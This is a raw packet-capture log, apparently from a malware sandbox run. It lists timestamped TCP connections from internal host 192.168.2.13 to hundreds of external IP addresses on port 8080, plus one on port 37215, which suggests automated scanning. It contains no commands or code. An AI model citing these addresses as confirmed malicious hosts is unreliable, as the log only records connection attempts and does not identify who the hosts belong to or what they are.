Oct 29, 2024 20:52:38.079644918 CET	8080	56351	62.87.101.207	192.168.2.13
Oct 29, 2024 20:52:38.079649925 CET	8080	56351	31.163.80.145	192.168.2.13
Oct 29, 2024 20:52:38.079653978 CET	8080	56351	31.172.104.250	192.168.2.13
Oct 29, 2024 20:52:38.079663992 CET	8080	56351	31.13.9.145	192.168.2.13
Oct 29, 2024 20:52:38.079668999 CET	8080	56351	94.154.200.129	192.168.2.13
Oct 29, 2024 20:52:38.079680920 CET	8080	56351	94.107.114.141	192.168.2.13
Oct 29, 2024 20:52:38.079689026 CET	56351	8080	192.168.2.13	85.38.146.132
Oct 29, 2024 20:52:38.079689026 CET	56351	8080	192.168.2.13	31.163.80.145
Oct 29, 2024 20:52:38.079694033 CET	56351	8080	192.168.2.13	62.87.101.207
Oct 29, 2024 20:52:38.079694033 CET	56351	8080	192.168.2.13	31.172.104.250
Oct 29, 2024 20:52:38.079705000 CET	8080	56351	94.25.210.157	192.168.2.13
Oct 29, 2024 20:52:38.079710960 CET	56351	8080	192.168.2.13	31.13.9.145
Oct 29, 2024 20:52:38.079715014 CET	56351	8080	192.168.2.13	94.107.114.141
Oct 29, 2024 20:52:38.079715014 CET	56351	8080	192.168.2.13	94.154.200.129
Oct 29, 2024 20:52:38.079725027 CET	8080	56351	31.113.58.168	192.168.2.13
Oct 29, 2024 20:52:38.079730988 CET	8080	56351	85.205.138.6	192.168.2.13
Oct 29, 2024 20:52:38.079742908 CET	8080	56351	94.125.255.156	192.168.2.13
Oct 29, 2024 20:52:38.079749107 CET	8080	56351	31.58.206.36	192.168.2.13
Oct 29, 2024 20:52:38.079751968 CET	56351	8080	192.168.2.13	94.25.210.157
Oct 29, 2024 20:52:38.079756021 CET	8080	56351	95.64.14.51	192.168.2.13
Oct 29, 2024 20:52:38.079761982 CET	8080	56351	95.216.119.241	192.168.2.13
Oct 29, 2024 20:52:38.079766035 CET	56351	8080	192.168.2.13	95.91.52.119
Oct 29, 2024 20:52:38.079767942 CET	8080	56351	95.107.36.53	192.168.2.13
Oct 29, 2024 20:52:38.079772949 CET	56351	8080	192.168.2.13	31.113.58.168
Oct 29, 2024 20:52:38.079772949 CET	56351	8080	192.168.2.13	95.142.132.101
Oct 29, 2024 20:52:38.079776049 CET	8080	56351	94.237.188.40	192.168.2.13
Oct 29, 2024 20:52:38.079781055 CET	56351	8080	192.168.2.13	85.205.138.6
Oct 29, 2024 20:52:38.079781055 CET	56351	8080	192.168.2.13	31.58.206.36
Oct 29, 2024 20:52:38.079782009 CET	8080	56351	85.166.178.187	192.168.2.13
Oct 29, 2024 20:52:38.079787970 CET	56351	8080	192.168.2.13	94.125.255.156
Oct 29, 2024 20:52:38.079787970 CET	56351	8080	192.168.2.13	95.64.14.51
Oct 29, 2024 20:52:38.079788923 CET	8080	56351	94.174.154.84	192.168.2.13
Oct 29, 2024 20:52:38.079802036 CET	56351	8080	192.168.2.13	95.216.119.241
Oct 29, 2024 20:52:38.079806089 CET	56351	8080	192.168.2.13	95.107.36.53
Oct 29, 2024 20:52:38.079808950 CET	56351	8080	192.168.2.13	94.237.188.40
Oct 29, 2024 20:52:38.079823971 CET	56351	8080	192.168.2.13	85.166.178.187
Oct 29, 2024 20:52:38.079837084 CET	56351	8080	192.168.2.13	94.174.154.84
Oct 29, 2024 20:52:38.079860926 CET	56351	8080	192.168.2.13	95.80.18.107
Oct 29, 2024 20:52:38.079863071 CET	56351	8080	192.168.2.13	31.223.32.94
Oct 29, 2024 20:52:38.079886913 CET	56351	8080	192.168.2.13	95.80.17.163
Oct 29, 2024 20:52:38.079916000 CET	56351	8080	192.168.2.13	85.40.65.165
Oct 29, 2024 20:52:38.079916000 CET	56351	8080	192.168.2.13	31.40.183.39
Oct 29, 2024 20:52:38.079916954 CET	56351	8080	192.168.2.13	62.110.112.116
Oct 29, 2024 20:52:38.079916954 CET	56351	8080	192.168.2.13	85.118.165.43
Oct 29, 2024 20:52:38.079920053 CET	56351	8080	192.168.2.13	94.238.123.70
Oct 29, 2024 20:52:38.079920053 CET	56351	8080	192.168.2.13	95.207.72.248
Oct 29, 2024 20:52:38.079921007 CET	8080	56351	85.213.16.229	192.168.2.13
Oct 29, 2024 20:52:38.079926014 CET	8080	56351	62.93.201.228	192.168.2.13
Oct 29, 2024 20:52:38.079931021 CET	8080	56351	85.171.4.175	192.168.2.13
Oct 29, 2024 20:52:38.079935074 CET	8080	56351	62.10.180.104	192.168.2.13
Oct 29, 2024 20:52:38.079940081 CET	8080	56351	31.209.102.212	192.168.2.13
Oct 29, 2024 20:52:38.079945087 CET	8080	56351	94.217.57.72	192.168.2.13
Oct 29, 2024 20:52:38.079962015 CET	56351	8080	192.168.2.13	85.213.16.229
Oct 29, 2024 20:52:38.079962015 CET	56351	8080	192.168.2.13	85.150.70.115
Oct 29, 2024 20:52:38.079962969 CET	56351	8080	192.168.2.13	62.93.201.228
Oct 29, 2024 20:52:38.079965115 CET	56351	8080	192.168.2.13	85.171.4.175
Oct 29, 2024 20:52:38.079967976 CET	56351	8080	192.168.2.13	62.10.180.104
Oct 29, 2024 20:52:38.079976082 CET	8080	56351	85.194.23.206	192.168.2.13
Oct 29, 2024 20:52:38.079979897 CET	56351	8080	192.168.2.13	62.201.63.11
Oct 29, 2024 20:52:38.079982042 CET	8080	56351	85.180.149.147	192.168.2.13
Oct 29, 2024 20:52:38.079987049 CET	56351	8080	192.168.2.13	95.236.21.88
Oct 29, 2024 20:52:38.079987049 CET	56351	8080	192.168.2.13	94.217.57.72
Oct 29, 2024 20:52:38.079997063 CET	8080	56351	85.193.200.15	192.168.2.13
Oct 29, 2024 20:52:38.079998016 CET	56351	8080	192.168.2.13	31.209.102.212
Oct 29, 2024 20:52:38.080002069 CET	8080	56351	85.78.210.169	192.168.2.13
Oct 29, 2024 20:52:38.080008030 CET	8080	56351	95.208.166.116	192.168.2.13
Oct 29, 2024 20:52:38.080013037 CET	8080	56351	62.243.0.123	192.168.2.13
Oct 29, 2024 20:52:38.080024004 CET	8080	56351	94.13.110.47	192.168.2.13
Oct 29, 2024 20:52:38.080024004 CET	56351	8080	192.168.2.13	85.194.23.206
Oct 29, 2024 20:52:38.080029011 CET	8080	56351	94.177.33.193	192.168.2.13
Oct 29, 2024 20:52:38.080034971 CET	8080	56351	94.85.123.139	192.168.2.13
Oct 29, 2024 20:52:38.080035925 CET	56351	8080	192.168.2.13	85.180.149.147
Oct 29, 2024 20:52:38.080039024 CET	8080	56351	85.254.249.189	192.168.2.13
Oct 29, 2024 20:52:38.080044985 CET	8080	56351	94.120.63.226	192.168.2.13
Oct 29, 2024 20:52:38.080049038 CET	8080	56351	31.66.34.243	192.168.2.13
Oct 29, 2024 20:52:38.080049992 CET	56351	8080	192.168.2.13	85.78.210.169
Oct 29, 2024 20:52:38.080049992 CET	56351	8080	192.168.2.13	95.208.166.116
Oct 29, 2024 20:52:38.080053091 CET	8080	56351	62.117.124.71	192.168.2.13
Oct 29, 2024 20:52:38.080060005 CET	8080	56351	31.62.54.173	192.168.2.13
Oct 29, 2024 20:52:38.080061913 CET	56351	8080	192.168.2.13	85.193.200.15
Oct 29, 2024 20:52:38.080063105 CET	56351	8080	192.168.2.13	94.177.33.193
Oct 29, 2024 20:52:38.080063105 CET	8080	56351	85.46.62.235	192.168.2.13
Oct 29, 2024 20:52:38.080066919 CET	56351	8080	192.168.2.13	62.243.0.123
Oct 29, 2024 20:52:38.080068111 CET	8080	56351	85.5.13.106	192.168.2.13
Oct 29, 2024 20:52:38.080070019 CET	56351	8080	192.168.2.13	94.13.110.47
Oct 29, 2024 20:52:38.080075026 CET	8080	56351	95.132.103.199	192.168.2.13
Oct 29, 2024 20:52:38.080077887 CET	56351	8080	192.168.2.13	94.85.123.139
Oct 29, 2024 20:52:38.080080986 CET	56351	8080	192.168.2.13	94.120.63.226
Oct 29, 2024 20:52:38.080085993 CET	56351	8080	192.168.2.13	85.254.249.189
Oct 29, 2024 20:52:38.080089092 CET	56351	8080	192.168.2.13	31.62.54.173
Oct 29, 2024 20:52:38.080090046 CET	56351	8080	192.168.2.13	62.117.124.71
Oct 29, 2024 20:52:38.080090046 CET	56351	8080	192.168.2.13	31.66.34.243
Oct 29, 2024 20:52:38.080096006 CET	8080	56351	62.36.244.105	192.168.2.13
Oct 29, 2024 20:52:38.080104113 CET	8080	56351	95.65.161.86	192.168.2.13
Oct 29, 2024 20:52:38.080104113 CET	56351	8080	192.168.2.13	85.46.62.235
Oct 29, 2024 20:52:38.080111980 CET	8080	56351	85.21.46.169	192.168.2.13
Oct 29, 2024 20:52:38.080115080 CET	56351	8080	192.168.2.13	85.5.13.106
Oct 29, 2024 20:52:38.080115080 CET	56351	8080	192.168.2.13	95.132.103.199
Oct 29, 2024 20:52:38.080118895 CET	8080	56351	62.172.241.63	192.168.2.13
Oct 29, 2024 20:52:38.080123901 CET	8080	56351	85.116.162.112	192.168.2.13
Oct 29, 2024 20:52:38.080132008 CET	56351	8080	192.168.2.13	62.36.244.105
Oct 29, 2024 20:52:38.080137968 CET	8080	56351	85.214.46.47	192.168.2.13
Oct 29, 2024 20:52:38.080143929 CET	8080	56351	31.181.184.168	192.168.2.13
Oct 29, 2024 20:52:38.080148935 CET	8080	56351	31.201.138.30	192.168.2.13
Oct 29, 2024 20:52:38.080151081 CET	56351	8080	192.168.2.13	85.116.162.112
Oct 29, 2024 20:52:38.080153942 CET	8080	56351	62.98.82.84	192.168.2.13
Oct 29, 2024 20:52:38.080157995 CET	56351	8080	192.168.2.13	95.65.161.86
Oct 29, 2024 20:52:38.080157995 CET	56351	8080	192.168.2.13	85.21.46.169
Oct 29, 2024 20:52:38.080159903 CET	56351	8080	192.168.2.13	62.172.241.63
Oct 29, 2024 20:52:38.080159903 CET	8080	56351	85.177.8.31	192.168.2.13
Oct 29, 2024 20:52:38.080171108 CET	8080	56351	62.22.245.87	192.168.2.13
Oct 29, 2024 20:52:38.080177069 CET	8080	56351	31.169.176.228	192.168.2.13
Oct 29, 2024 20:52:38.080183983 CET	56351	8080	192.168.2.13	85.214.46.47
Oct 29, 2024 20:52:38.080188990 CET	37215	58102	197.95.90.227	192.168.2.13
Oct 29, 2024 20:52:38.080190897 CET	56351	8080	192.168.2.13	31.181.184.168
Oct 29, 2024 20:52:38.080192089 CET	56351	8080	192.168.2.13	31.201.138.30
Oct 29, 2024 20:52:38.080195904 CET	8080	56351	95.244.136.17	192.168.2.13
Oct 29, 2024 20:52:38.080207109 CET	8080	56351	95.205.234.145	192.168.2.13
Oct 29, 2024 20:52:38.080210924 CET	56351	8080	192.168.2.13	31.169.176.228
Oct 29, 2024 20:52:38.080212116 CET	8080	56351	85.212.11.168	192.168.2.13
Oct 29, 2024 20:52:38.080216885 CET	56351	8080	192.168.2.13	62.98.82.84
Oct 29, 2024 20:52:38.080224991 CET	56351	8080	192.168.2.13	85.177.8.31
Oct 29, 2024 20:52:38.080225945 CET	56351	8080	192.168.2.13	62.47.240.113
Oct 29, 2024 20:52:38.080234051 CET	56351	8080	192.168.2.13	62.22.245.87
Oct 29, 2024 20:52:38.080240965 CET	56351	8080	192.168.2.13	85.212.11.168
Oct 29, 2024 20:52:38.080245972 CET	56351	8080	192.168.2.13	95.244.136.17
Oct 29, 2024 20:52:38.080246925 CET	56351	8080	192.168.2.13	95.205.234.145
Oct 29, 2024 20:52:38.080260038 CET	58102	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:38.080272913 CET	56351	8080	192.168.2.13	94.148.46.163
Oct 29, 2024 20:52:38.080305099 CET	8080	56351	31.69.4.12	192.168.2.13
Oct 29, 2024 20:52:38.080308914 CET	56351	8080	192.168.2.13	62.62.106.136
Oct 29, 2024 20:52:38.080310106 CET	8080	56351	95.23.222.93	192.168.2.13
Oct 29, 2024 20:52:38.080322027 CET	8080	56351	95.48.90.231	192.168.2.13
Oct 29, 2024 20:52:38.080327034 CET	8080	56351	95.105.212.223	192.168.2.13
Oct 29, 2024 20:52:38.080334902 CET	56351	8080	192.168.2.13	95.57.69.24
Oct 29, 2024 20:52:38.080334902 CET	56351	8080	192.168.2.13	31.131.141.139
Oct 29, 2024 20:52:38.080334902 CET	56351	8080	192.168.2.13	85.226.217.122
Oct 29, 2024 20:52:38.080334902 CET	56351	8080	192.168.2.13	85.185.20.117
Oct 29, 2024 20:52:38.080338001 CET	8080	56351	62.33.154.110	192.168.2.13
Oct 29, 2024 20:52:38.080343008 CET	8080	56351	95.248.221.190	192.168.2.13
Oct 29, 2024 20:52:38.080348015 CET	8080	56351	95.10.91.158	192.168.2.13
Oct 29, 2024 20:52:38.080348969 CET	56351	8080	192.168.2.13	31.69.4.12
Oct 29, 2024 20:52:38.080353022 CET	8080	56351	95.61.105.195	192.168.2.13
Oct 29, 2024 20:52:38.080353022 CET	56351	8080	192.168.2.13	95.23.222.93
Oct 29, 2024 20:52:38.080358028 CET	8080	56351	95.23.1.102	192.168.2.13
Oct 29, 2024 20:52:38.080362082 CET	8080	56351	95.135.155.78	192.168.2.13
Oct 29, 2024 20:52:38.080367088 CET	8080	56351	95.219.10.149	192.168.2.13
Oct 29, 2024 20:52:38.080372095 CET	8080	56351	95.162.38.68	192.168.2.13
Oct 29, 2024 20:52:38.080377102 CET	8080	56351	94.123.163.68	192.168.2.13
Oct 29, 2024 20:52:38.080377102 CET	56351	8080	192.168.2.13	95.48.90.231
Oct 29, 2024 20:52:38.080377102 CET	56351	8080	192.168.2.13	95.105.212.223
Oct 29, 2024 20:52:38.080382109 CET	8080	56351	31.27.14.37	192.168.2.13
Oct 29, 2024 20:52:38.080385923 CET	8080	56351	62.13.80.79	192.168.2.13
Oct 29, 2024 20:52:38.080388069 CET	56351	8080	192.168.2.13	95.23.1.102
Oct 29, 2024 20:52:38.080390930 CET	8080	56351	95.176.122.159	192.168.2.13
Oct 29, 2024 20:52:38.080394983 CET	56351	8080	192.168.2.13	62.33.154.110
Oct 29, 2024 20:52:38.080401897 CET	56351	8080	192.168.2.13	95.248.221.190
Oct 29, 2024 20:52:38.080403090 CET	8080	56351	85.80.191.148	192.168.2.13
Oct 29, 2024 20:52:38.080409050 CET	56351	8080	192.168.2.13	94.123.163.68
Oct 29, 2024 20:52:38.080410957 CET	56351	8080	192.168.2.13	95.61.105.195
Oct 29, 2024 20:52:38.080404997 CET	56351	8080	192.168.2.13	95.135.155.78
Oct 29, 2024 20:52:38.080404997 CET	56351	8080	192.168.2.13	95.10.91.158
Oct 29, 2024 20:52:38.080404997 CET	56351	8080	192.168.2.13	95.219.10.149
Oct 29, 2024 20:52:38.080413103 CET	56351	8080	192.168.2.13	31.27.14.37
Oct 29, 2024 20:52:38.080415964 CET	56351	8080	192.168.2.13	95.162.38.68
Oct 29, 2024 20:52:38.080424070 CET	56351	8080	192.168.2.13	62.13.80.79
Oct 29, 2024 20:52:38.080424070 CET	56351	8080	192.168.2.13	95.176.122.159
Oct 29, 2024 20:52:38.080441952 CET	56351	8080	192.168.2.13	85.80.191.148
Oct 29, 2024 20:52:38.080462933 CET	56351	8080	192.168.2.13	62.88.120.21
Oct 29, 2024 20:52:38.080468893 CET	8080	56351	62.101.204.25	192.168.2.13
Oct 29, 2024 20:52:38.080473900 CET	8080	56351	95.20.6.17	192.168.2.13
Oct 29, 2024 20:52:38.080475092 CET	56351	8080	192.168.2.13	62.63.101.131
Oct 29, 2024 20:52:38.080478907 CET	8080	56351	85.101.240.63	192.168.2.13
Oct 29, 2024 20:52:38.080478907 CET	56351	8080	192.168.2.13	94.182.178.226
Oct 29, 2024 20:52:38.080481052 CET	56351	8080	192.168.2.13	85.154.226.7
Oct 29, 2024 20:52:38.080502987 CET	56351	8080	192.168.2.13	62.101.204.25
Oct 29, 2024 20:52:38.080514908 CET	56351	8080	192.168.2.13	95.20.6.17
Oct 29, 2024 20:52:38.080522060 CET	56351	8080	192.168.2.13	85.22.147.81
Oct 29, 2024 20:52:38.080529928 CET	56351	8080	192.168.2.13	85.149.130.122
Oct 29, 2024 20:52:38.080542088 CET	56351	8080	192.168.2.13	85.101.240.63
Oct 29, 2024 20:52:38.080542088 CET	56351	8080	192.168.2.13	94.235.186.119
Oct 29, 2024 20:52:38.080564022 CET	56351	8080	192.168.2.13	95.84.245.217
Oct 29, 2024 20:52:38.080584049 CET	56351	8080	192.168.2.13	85.209.146.169
Oct 29, 2024 20:52:38.080585003 CET	56351	8080	192.168.2.13	95.162.134.100
Oct 29, 2024 20:52:38.080609083 CET	56351	8080	192.168.2.13	62.24.143.110
Oct 29, 2024 20:52:38.080620050 CET	56351	8080	192.168.2.13	85.38.63.60
Oct 29, 2024 20:52:38.080630064 CET	8080	56351	31.221.17.239	192.168.2.13
Oct 29, 2024 20:52:38.080635071 CET	8080	56351	85.93.69.15	192.168.2.13
Oct 29, 2024 20:52:38.080635071 CET	56351	8080	192.168.2.13	95.13.138.70
Oct 29, 2024 20:52:38.080636978 CET	56351	8080	192.168.2.13	85.244.239.88
Oct 29, 2024 20:52:38.080640078 CET	8080	56351	94.142.149.212	192.168.2.13
Oct 29, 2024 20:52:38.080643892 CET	8080	56351	94.243.34.140	192.168.2.13
Oct 29, 2024 20:52:38.080648899 CET	8080	56351	95.117.139.24	192.168.2.13
Oct 29, 2024 20:52:38.080652952 CET	56351	8080	192.168.2.13	62.31.208.224
Oct 29, 2024 20:52:38.080653906 CET	8080	56351	95.232.175.95	192.168.2.13
Oct 29, 2024 20:52:38.080657959 CET	56351	8080	192.168.2.13	31.38.35.219
Oct 29, 2024 20:52:38.080662966 CET	8080	56351	95.21.51.19	192.168.2.13
Oct 29, 2024 20:52:38.080665112 CET	8080	56351	95.17.166.53	192.168.2.13
Oct 29, 2024 20:52:38.080671072 CET	8080	56351	62.3.50.57	192.168.2.13
Oct 29, 2024 20:52:38.080672979 CET	8080	56351	31.161.242.237	192.168.2.13
Oct 29, 2024 20:52:38.080674887 CET	56351	8080	192.168.2.13	85.93.69.15
Oct 29, 2024 20:52:38.080677032 CET	56351	8080	192.168.2.13	31.221.17.239
Oct 29, 2024 20:52:38.080677032 CET	56351	8080	192.168.2.13	94.243.34.140
Oct 29, 2024 20:52:38.080681086 CET	56351	8080	192.168.2.13	94.142.149.212
Oct 29, 2024 20:52:38.080682039 CET	56351	8080	192.168.2.13	95.117.139.24
Oct 29, 2024 20:52:38.080684900 CET	8080	56351	94.107.81.78	192.168.2.13
Oct 29, 2024 20:52:38.080691099 CET	8080	56351	31.0.247.191	192.168.2.13
Oct 29, 2024 20:52:38.080696106 CET	8080	56351	62.149.51.56	192.168.2.13
Oct 29, 2024 20:52:38.080698013 CET	56351	8080	192.168.2.13	95.232.175.95
Oct 29, 2024 20:52:38.080699921 CET	8080	56351	31.164.29.89	192.168.2.13
Oct 29, 2024 20:52:38.080704927 CET	8080	56351	94.7.112.176	192.168.2.13
Oct 29, 2024 20:52:38.080704927 CET	56351	8080	192.168.2.13	62.3.50.57
Oct 29, 2024 20:52:38.080710888 CET	8080	56351	95.94.249.255	192.168.2.13
Oct 29, 2024 20:52:38.080715895 CET	56351	8080	192.168.2.13	31.161.242.237
Oct 29, 2024 20:52:38.080717087 CET	8080	56351	31.125.158.188	192.168.2.13
Oct 29, 2024 20:52:38.080724001 CET	56351	8080	192.168.2.13	31.0.247.191
Oct 29, 2024 20:52:38.080724955 CET	8080	56351	85.99.227.105	192.168.2.13
Oct 29, 2024 20:52:38.080729008 CET	56351	8080	192.168.2.13	95.17.166.53
Oct 29, 2024 20:52:38.080734015 CET	8080	56351	62.109.165.89	192.168.2.13
Oct 29, 2024 20:52:38.080734015 CET	56351	8080	192.168.2.13	95.21.51.19
Oct 29, 2024 20:52:38.080734015 CET	56351	8080	192.168.2.13	94.107.81.78
Oct 29, 2024 20:52:38.080738068 CET	56351	8080	192.168.2.13	62.149.51.56
Oct 29, 2024 20:52:38.080745935 CET	8080	56351	94.16.103.123	192.168.2.13
Oct 29, 2024 20:52:38.080745935 CET	56351	8080	192.168.2.13	31.164.29.89
Oct 29, 2024 20:52:38.080746889 CET	56351	8080	192.168.2.13	94.7.112.176
Oct 29, 2024 20:52:38.080749035 CET	56351	8080	192.168.2.13	95.94.249.255
Oct 29, 2024 20:52:38.080749035 CET	56351	8080	192.168.2.13	31.125.158.188
Oct 29, 2024 20:52:38.080760002 CET	8080	56351	85.126.162.247	192.168.2.13
Oct 29, 2024 20:52:38.080765009 CET	8080	56351	62.13.102.105	192.168.2.13
Oct 29, 2024 20:52:38.080770016 CET	8080	56351	85.83.171.31	192.168.2.13
Oct 29, 2024 20:52:38.080774069 CET	56351	8080	192.168.2.13	85.99.227.105
Oct 29, 2024 20:52:38.080774069 CET	56351	8080	192.168.2.13	62.109.165.89
Oct 29, 2024 20:52:38.080785036 CET	8080	56351	95.168.149.65	192.168.2.13
Oct 29, 2024 20:52:38.080790997 CET	56351	8080	192.168.2.13	85.126.162.247
Oct 29, 2024 20:52:38.080790997 CET	8080	56351	94.241.249.90	192.168.2.13
Oct 29, 2024 20:52:38.080791950 CET	56351	8080	192.168.2.13	94.16.103.123
Oct 29, 2024 20:52:38.080801964 CET	56351	8080	192.168.2.13	62.13.102.105
Oct 29, 2024 20:52:38.080810070 CET	56351	8080	192.168.2.13	85.83.171.31
Oct 29, 2024 20:52:38.080811024 CET	8080	56351	31.45.253.163	192.168.2.13
Oct 29, 2024 20:52:38.080817938 CET	8080	56351	94.155.68.152	192.168.2.13
Oct 29, 2024 20:52:38.080821991 CET	8080	56351	95.129.116.120	192.168.2.13
Oct 29, 2024 20:52:38.080821991 CET	56351	8080	192.168.2.13	31.42.35.2
Oct 29, 2024 20:52:38.080822945 CET	56351	8080	192.168.2.13	95.36.10.125
Oct 29, 2024 20:52:38.080826044 CET	8080	56351	62.33.164.103	192.168.2.13
Oct 29, 2024 20:52:38.080830097 CET	8080	56351	31.138.125.161	192.168.2.13
Oct 29, 2024 20:52:38.080832958 CET	56351	8080	192.168.2.13	95.168.149.65
Oct 29, 2024 20:52:38.080836058 CET	56351	8080	192.168.2.13	94.241.249.90
Oct 29, 2024 20:52:38.080848932 CET	56351	8080	192.168.2.13	31.47.249.105
Oct 29, 2024 20:52:38.080857038 CET	56351	8080	192.168.2.13	94.155.68.152
Oct 29, 2024 20:52:38.080859900 CET	56351	8080	192.168.2.13	95.129.116.120
Oct 29, 2024 20:52:38.080859900 CET	56351	8080	192.168.2.13	31.45.253.163
Oct 29, 2024 20:52:38.080872059 CET	56351	8080	192.168.2.13	31.138.125.161
Oct 29, 2024 20:52:38.080874920 CET	56351	8080	192.168.2.13	62.33.164.103
Oct 29, 2024 20:52:38.080888033 CET	56351	8080	192.168.2.13	62.35.53.47
Oct 29, 2024 20:52:38.080892086 CET	56351	8080	192.168.2.13	31.118.63.120
Oct 29, 2024 20:52:38.080913067 CET	56351	8080	192.168.2.13	31.23.151.124
Oct 29, 2024 20:52:38.080925941 CET	8080	56351	85.69.46.195	192.168.2.13
Oct 29, 2024 20:52:38.080931902 CET	8080	56351	31.195.175.90	192.168.2.13
Oct 29, 2024 20:52:38.080945015 CET	8080	56351	85.181.9.135	192.168.2.13
Oct 29, 2024 20:52:38.080948114 CET	56351	8080	192.168.2.13	62.87.83.176
Oct 29, 2024 20:52:38.080955982 CET	8080	56351	95.221.10.220	192.168.2.13
Oct 29, 2024 20:52:38.080964088 CET	56351	8080	192.168.2.13	94.103.189.51
Oct 29, 2024 20:52:38.080965042 CET	8080	56351	85.147.154.207	192.168.2.13
Oct 29, 2024 20:52:38.080971003 CET	8080	56351	31.134.232.69	192.168.2.13
Oct 29, 2024 20:52:38.080975056 CET	56351	8080	192.168.2.13	85.69.46.195
Oct 29, 2024 20:52:38.080975056 CET	56351	8080	192.168.2.13	94.146.53.81
Oct 29, 2024 20:52:38.080975056 CET	56351	8080	192.168.2.13	31.195.175.90
Oct 29, 2024 20:52:38.080979109 CET	8080	56351	95.243.122.57	192.168.2.13
Oct 29, 2024 20:52:38.080984116 CET	8080	56351	94.180.70.54	192.168.2.13
Oct 29, 2024 20:52:38.080990076 CET	8080	56351	62.120.242.185	192.168.2.13
Oct 29, 2024 20:52:38.080991030 CET	56351	8080	192.168.2.13	85.181.9.135
Oct 29, 2024 20:52:38.080995083 CET	8080	56351	95.144.251.115	192.168.2.13
Oct 29, 2024 20:52:38.080997944 CET	56351	8080	192.168.2.13	95.221.10.220
Oct 29, 2024 20:52:38.081000090 CET	8080	56351	95.168.25.249	192.168.2.13
Oct 29, 2024 20:52:38.081011057 CET	56351	8080	192.168.2.13	85.147.154.207
Oct 29, 2024 20:52:38.081011057 CET	56351	8080	192.168.2.13	95.243.122.57
Oct 29, 2024 20:52:38.081017971 CET	56351	8080	192.168.2.13	31.134.232.69
Oct 29, 2024 20:52:38.081017971 CET	56351	8080	192.168.2.13	94.180.70.54
Oct 29, 2024 20:52:38.081026077 CET	56351	8080	192.168.2.13	62.120.242.185
Oct 29, 2024 20:52:38.081026077 CET	56351	8080	192.168.2.13	95.144.251.115
Oct 29, 2024 20:52:38.081041098 CET	56351	8080	192.168.2.13	95.168.25.249
Oct 29, 2024 20:52:38.081068039 CET	56351	8080	192.168.2.13	85.49.209.35
Oct 29, 2024 20:52:38.081075907 CET	56351	8080	192.168.2.13	85.73.236.24
Oct 29, 2024 20:52:38.081078053 CET	8080	56351	85.199.187.118	192.168.2.13
Oct 29, 2024 20:52:38.081079006 CET	56351	8080	192.168.2.13	94.208.234.6
Oct 29, 2024 20:52:38.081083059 CET	8080	56351	31.249.13.26	192.168.2.13
Oct 29, 2024 20:52:38.081089020 CET	8080	56351	62.140.1.174	192.168.2.13
Oct 29, 2024 20:52:38.081093073 CET	8080	56351	85.232.82.220	192.168.2.13
Oct 29, 2024 20:52:38.081094027 CET	56351	8080	192.168.2.13	94.174.110.35
Oct 29, 2024 20:52:38.081101894 CET	8080	56351	94.9.33.124	192.168.2.13
Oct 29, 2024 20:52:38.081105947 CET	8080	56351	31.103.177.69	192.168.2.13
Oct 29, 2024 20:52:38.081119061 CET	56351	8080	192.168.2.13	62.236.42.71
Oct 29, 2024 20:52:38.081121922 CET	56351	8080	192.168.2.13	95.21.234.119
Oct 29, 2024 20:52:38.081135035 CET	56351	8080	192.168.2.13	85.199.187.118
Oct 29, 2024 20:52:38.081145048 CET	56351	8080	192.168.2.13	85.232.82.220
Oct 29, 2024 20:52:38.081145048 CET	56351	8080	192.168.2.13	31.103.177.69
Oct 29, 2024 20:52:38.081146002 CET	56351	8080	192.168.2.13	62.140.1.174
Oct 29, 2024 20:52:38.081146002 CET	56351	8080	192.168.2.13	31.249.13.26
Oct 29, 2024 20:52:38.081146002 CET	56351	8080	192.168.2.13	94.9.33.124
Oct 29, 2024 20:52:38.081177950 CET	56351	8080	192.168.2.13	31.59.39.24
Oct 29, 2024 20:52:38.081212044 CET	56351	8080	192.168.2.13	85.233.26.236
Oct 29, 2024 20:52:38.081216097 CET	56351	8080	192.168.2.13	62.240.146.229
Oct 29, 2024 20:52:38.081223965 CET	56351	8080	192.168.2.13	62.82.181.142
Oct 29, 2024 20:52:38.081243038 CET	8080	56351	85.174.11.94	192.168.2.13
Oct 29, 2024 20:52:38.081248999 CET	8080	56351	31.113.168.230	192.168.2.13
Oct 29, 2024 20:52:38.081257105 CET	56351	8080	192.168.2.13	95.72.249.61
Oct 29, 2024 20:52:38.081264973 CET	8080	56351	94.91.76.179	192.168.2.13
Oct 29, 2024 20:52:38.081269979 CET	8080	56351	85.250.202.30	192.168.2.13
Oct 29, 2024 20:52:38.081274986 CET	56351	8080	192.168.2.13	94.101.12.82
Oct 29, 2024 20:52:38.081278086 CET	56351	8080	192.168.2.13	95.172.1.53
Oct 29, 2024 20:52:38.081279039 CET	8080	56351	85.54.61.215	192.168.2.13
Oct 29, 2024 20:52:38.081279993 CET	8080	56351	85.183.47.84	192.168.2.13
Oct 29, 2024 20:52:38.081284046 CET	8080	56351	85.166.92.207	192.168.2.13
Oct 29, 2024 20:52:38.081288099 CET	8080	56351	94.103.123.163	192.168.2.13
Oct 29, 2024 20:52:38.081290007 CET	56351	8080	192.168.2.13	85.174.11.94
Oct 29, 2024 20:52:38.081290007 CET	56351	8080	192.168.2.13	94.91.76.179
Oct 29, 2024 20:52:38.081295013 CET	8080	56351	85.204.51.79	192.168.2.13
Oct 29, 2024 20:52:38.081301928 CET	8080	56351	95.209.159.97	192.168.2.13
Oct 29, 2024 20:52:38.081307888 CET	56351	8080	192.168.2.13	85.250.202.30
Oct 29, 2024 20:52:38.081307888 CET	56351	8080	192.168.2.13	85.166.92.207
Oct 29, 2024 20:52:38.081312895 CET	8080	56351	94.131.176.152	192.168.2.13
Oct 29, 2024 20:52:38.081315994 CET	56351	8080	192.168.2.13	94.103.123.163
Oct 29, 2024 20:52:38.081317902 CET	56351	8080	192.168.2.13	31.113.168.230
Oct 29, 2024 20:52:38.081317902 CET	56351	8080	192.168.2.13	85.54.61.215
Oct 29, 2024 20:52:38.081317902 CET	56351	8080	192.168.2.13	85.183.47.84
Oct 29, 2024 20:52:38.081334114 CET	56351	8080	192.168.2.13	85.204.51.79
Oct 29, 2024 20:52:38.081336021 CET	8080	56351	31.30.12.147	192.168.2.13
Oct 29, 2024 20:52:38.081338882 CET	56351	8080	192.168.2.13	31.136.35.17
Oct 29, 2024 20:52:38.081341982 CET	8080	56351	94.245.30.120	192.168.2.13
Oct 29, 2024 20:52:38.081347942 CET	56351	8080	192.168.2.13	94.131.176.152
Oct 29, 2024 20:52:38.081351995 CET	56351	8080	192.168.2.13	95.209.159.97
Oct 29, 2024 20:52:38.081368923 CET	8080	56351	95.142.155.220	192.168.2.13
Oct 29, 2024 20:52:38.081378937 CET	8080	56351	62.170.219.203	192.168.2.13
